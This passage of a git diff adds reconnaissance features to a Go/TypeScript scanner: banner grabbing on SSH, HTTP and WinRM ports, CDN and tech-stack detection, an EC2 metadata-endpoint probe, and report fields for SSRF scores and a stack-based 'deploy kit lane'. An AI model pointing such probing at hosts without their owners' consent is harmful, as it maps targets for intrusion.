[]StackEntry { seen := map[string]bool{}; var out []StackEntry; for _, part := range parts { for _, e := range part { key := strings.ToLower(e.Name) + "|" + e.Source; if !seen[key] { seen[key] = true; out = append(out, e) } } }; return out } +func SuggestDeployKitLane(stack []StackEntry) string { + for _, e := range stack { n := strings.ToLower(e.Name); if strings.Contains(n, "php") { return "php" }; if strings.Contains(n, "node") || strings.Contains(n, "react") { return "node" }; if strings.Contains(n, "nginx") { return "nginx" } } + if len(stack) > 0 { return "static" } + return "" +} +func GrabBanners(host string, ports []PortResult) []PortBanner { + open := map[int]bool{}; for _, p := range ports { if p.Open { open[p.Port] = true } } + var out []PortBanner + if open[22] { if b := probeSSHBanner(host, 22); b != "" { out = append(out, PortBanner{Port: 22, Service: "ssh", Banner: b}) } } + for _, port := range []int{80, 443, 6262, 8080} { + if !open[port] { continue } + title, server := probeHTTPBanner(host, port) + if title != "" || server != "" { b := PortBanner{Port: port, Service: "http", Title: title, Banner: server, Hint: "origin_host"}; if looksLikeCDN(server) { b.Hint = "cdn_fronted" }; out = append(out, b) } + } + if open[5985] { if h := probeWinRMHint(host, 5985); h != "" { out = append(out, PortBanner{Port: 5985, Service: "winrm", Hint: h}) } } + return out +} +func looksLikeCDN(s string) bool { s = strings.ToLower(s); return strings.Contains(s, "cloudflare") || strings.Contains(s, "cloudfront") } +func probeSSHBanner(host string, port int) string { + if probeSSHBannerFn != nil { return probeSSHBannerFn(host, port) } + c, e := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), DefaultPortDialTimeout) + if e != nil { return "" }; defer c.Close(); _ = c.SetReadDeadline(time.Now().Add(DefaultPortDialTimeout)) + line, e := bufio.NewReader(c).ReadString('\n'); if e != nil { return "" }; return strings.TrimSpace(line) +} +func probeHTTPBanner(host string, port int) (string, string) { + if probeHTTPTitleFn != nil { return probeHTTPTitleFn(host, port) } + scheme := "http"; if port == 443 { scheme = "https" } + resp, err := http.Get(fmt.Sprintf("%s://%s/", scheme, joinHostPort(host, port))) + if err != nil { return "", "" }; defer resp.Body.Close() + body, _ := io.ReadAll(io.LimitReader(resp.Body, 8192)) + title := ""; if m := bannerTitleRe.FindStringSubmatch(string(body)); len(m) > 1 { title = strings.TrimSpace(m[1]) } + return title, strings.TrimSpace(resp.Header.Get("Server")) +} +func probeWinRMHint(host string, port int) string { + if probeWinRMHintFn != nil { return probeWinRMHintFn(host, port) } + c, e := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(port)), DefaultPortDialTimeout) + if e != nil { return "" }; _ = c.Close(); return "winrm_listening" +} +func ProbeEC2Metadata() bool { + if probeEC2MetaFn != nil { return probeEC2MetaFn() } + c := &http.Client{Timeout: 800 * time.Millisecond} + r, e := c.Get("http://169.254.169.254/latest/meta-data/") + if e != nil { return false }; defer r.Body.Close() + return r.StatusCode == http.StatusOK || r.StatusCode == http.StatusUnauthorized +} diff --git a/server/internal/recon/types.go b/server/internal/recon/types.go index 7605f11..7c1fd05 100644 --- a/server/internal/recon/types.go +++ b/server/internal/recon/types.go @@ -11,10 +11,12 @@ const ( ) type ScanRequest struct { - Host string `json:"host"` - Port int `json:"port,omitempty"` - Scheme string `json:"scheme,omitempty"` - Paths []string `json:"paths,omitempty"` + Host string `json:"host"` + Port int `json:"port,omitempty"` + Scheme string `json:"scheme,omitempty"` + Paths []string `json:"paths,omitempty"` + Profile string `json:"profile,omitempty"` + Profiles []string `json:"profiles,omitempty"` } type PortResult struct { @@ -22,6 +24,25 @@ type PortResult struct { Open bool `json:"open"` } +type PortBanner struct { + Port int `json:"port"` + Service string `json:"service,omitempty"` + Banner string `json:"banner,omitempty"` + Title string `json:"title,omitempty"` + Hint string `json:"hint,omitempty"` +} + +type StackEntry struct { + Name string `json:"name"` + Source string `json:"source"` + Detail string `json:"detail,omitempty"` +} + +type HTTPHeaderSnap struct { + URL string + Headers map[string]string +} + type FormFinding struct { PageURL string `json:"page_url"` Action string `json:"action,omitempty"` @@ -53,6 +74,7 @@ type CrawlReport struct { URLFields []URLFieldFinding `json:"url_fields,omitempty"` SSRFScore int `json:"ssrf_score"` CMSFingerprints []string `json:"cms_fingerprints,omitempty"` + Stack []StackEntry `json:"stack,omitempty"` } type DeployRecommendation struct { @@ -62,10 +84,33 @@ type DeployRecommendation struct { Priority int `json:"priority"` } +type ReconScanDiff struct { + NewPorts []int `json:"new_ports,omitempty"` + NewForms []FormFinding `json:"new_forms,omitempty"` +} + +type ReconHistoryEntry struct { + ScanID string `json:"scan_id"` + Host string `json:"host"` + Profile string `json:"profile,omitempty"` + Status string `json:"status,omitempty"` + ScannedAt time.Time `json:"scanned_at"` + Report *ScanReport `json:"report"` + Diff *ReconScanDiff `json:"diff,omitempty"` +} + type ScanReport struct { + ScanID string `json:"scan_id,omitempty"` Host string `json:"host"` + Profile string `json:"profile,omitempty"` + ProfilesUsed []string `json:"profiles_used,omitempty"` + Status string `json:"status,omitempty"` ScannedAt time.Time `json:"scanned_at"` Ports []PortResult `json:"ports"` + Banners []PortBanner `json:"banners,omitempty"` + Stack []StackEntry `json:"stack,omitempty"` + DeployKitLane string `json:"deploy_kit_lane,omitempty"` Crawl *CrawlReport `json:"crawl,omitempty"` + RelayVia string `json:"relay_via,omitempty"` Recommendations []DeployRecommendation `json:"recommendations,omitempty"` } diff --git a/server/web/src/types/recon.ts b/server/web/src/types/recon.ts index 5d557c6..edbb128 100644 --- a/server/web/src/types/recon.ts +++ b/server/web/src/types/recon.ts @@ -114,6 +114,8 @@ export interface ReconScanRequest { port?: number; scheme?: string; paths?: string[]; + profile?: string; + profiles?: string[]; } export interface ReconPortResult { @@ -121,6 +123,20 @@ export interface ReconPortResult { open: boolean; } +export interface ReconPortBanner { + port: number; + service?: string; + banner?: string; + title?: string; + hint?: string; +} + +export interface ReconStackEntry { + name: string; + source: string; + detail?: string; +} + export interface ReconFormFinding { page_url: string; action?: string; @@ -146,6 +162,7 @@ export interface ReconCrawlReport { url_fields?: ReconURLFieldFinding[]; ssrf_score: number; cms_fingerprints?: string[]; + stack?: ReconStackEntry[]; } export interface ReconDeployRecommendation { @@ -156,9 +173,16 @@ export interface ReconDeployRecommendation { } export interface ReconScanReport { + scan_id?: string; host: string; + profile?: string; + profiles_used?: string[]; + status?: string; scanned_at: string; ports: ReconPortResult[]; + banners?: ReconPortBanner[]; + stack?: ReconStackEntry[]; + deploy_kit_lane?: string; crawl?: ReconCrawlReport; relay_via?: string; udp_hints?: { port: number; open: boolean; service?: string }[];